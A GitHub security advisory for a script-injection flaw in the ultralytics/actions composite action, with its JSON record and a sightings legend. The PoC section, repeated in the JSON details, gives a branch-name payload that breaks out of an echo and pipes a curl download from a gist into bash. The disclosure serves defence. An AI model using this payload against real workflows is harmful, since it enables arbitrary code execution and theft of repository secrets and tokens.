GHSA-7X29-QQMQ-V6QC
Vulnerability from github – Published: 2024-08-14 20:53 – Updated: 2024-11-18 16:27Summary
The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the pull_request_target trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.
Details
The issue exists because the action.yml is a composite action and uses certain fields by GitHub context expression within a run step:
echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
echo "github.ref: ${{ github.ref }}"
echo "github.head_ref: ${{ github.head_ref }}"
echo "github.base_ref: ${{ github.base_ref }}"
In this case, github.head_ref and github.event.pull_request.head.ref are user controlled and can be used to inject code.
PoC
- Create a fork of any repository that uses
ultralytics/actionswithin a workflow that runs onpull_request_target. -
In the fork create a branch as an injection payload, e.g.:
Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash -
Create a draft pull request.
- If the action is reachable, then achieve arbitrary code execution.
See my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.
Impact
Any workflow that uses the action and runs on pull_request_target is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the GITHUB_TOKEN or steal secrets from the workflow.
Fix
Sanitize the user-controlled variables using environment vars.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.0.2"
},
"package": {
"ecosystem": "GitHub Actions",
"name": "ultralytics/actions"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-14T20:53:47Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the `pull_request_target` trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.\n\n### Details\n\nThe issue exists because the `action.yml` is a composite action and uses certain fields by GitHub context expression within a `run` step:\n\n```\n echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\"\n echo \"github.ref: ${{ github.ref }}\"\n echo \"github.head_ref: ${{ github.head_ref }}\"\n echo \"github.base_ref: ${{ github.base_ref }}\"\n```\n\nIn this case, `github.head_ref` and `github.event.pull_request.head.ref` are user controlled and can be used to inject code.\n\n### PoC\n\n1. Create a fork of any repository that uses `ultralytics/actions` within a workflow that runs on `pull_request_target`.\n2. In the fork create a branch as an injection payload, e.g.: `Hacked\";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash`\n\n3. Create a draft pull request.\n4. If the action is reachable, then achieve arbitrary code execution.\n\n\n\nSee my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.\n\n### Impact\n\nAny workflow that uses the action and runs on `pull_request_target` is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the `GITHUB_TOKEN` or steal secrets from the workflow.\n\n### Fix\n\nSanitize the user-controlled variables using environment vars.",
"id": "GHSA-7x29-qqmq-v6qc",
"modified": "2024-11-18T16:27:04Z",
"published": "2024-08-14T20:53:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc"
},
{
"type": "WEB",
"url": "https://github.com/ultralytics/actions/commit/8069e0ac4c23170f308ea6985783e64ca4a7900a"
},
{
"type": "PACKAGE",
"url": "https://github.com/ultralytics/actions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitHub Actions Script Injection in `ultralytics/actions`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.